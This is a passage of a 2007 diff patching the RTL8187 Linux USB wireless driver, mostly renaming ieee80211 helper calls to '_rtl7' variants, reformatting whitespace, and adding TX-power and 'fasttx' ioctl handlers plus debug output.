- range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +298,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +322,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +346,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +365,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +417,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +448,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +456,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +476,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +526,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +564,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +582,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +612,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +650,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,50 +702,49 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "fasttx" + }, + { SIOCIWFIRSTPRIV + 0x1, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" }, + { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + SIOCIWFIRSTPRIV + 0x2, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" + } }; static iw_handler r8180_private_handler[] = { -// r8180_wx_set_monitor, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_fasttx, /* SIOCIWFIRSTPRIV */ r8180_wx_set_crcmon, /*SIOCIWSECONDPRIV*/ // r8180_wx_set_forceassociate, // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +757,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_rawtx/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187_core.c 2007-07-13 01:46:24.000000000 +0200 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,21 +414,22 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); } @@ -430,7 +443,7 @@ void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +460,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +472,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +481,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +500,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +536,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +574,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +596,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +615,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +629,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +651,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == 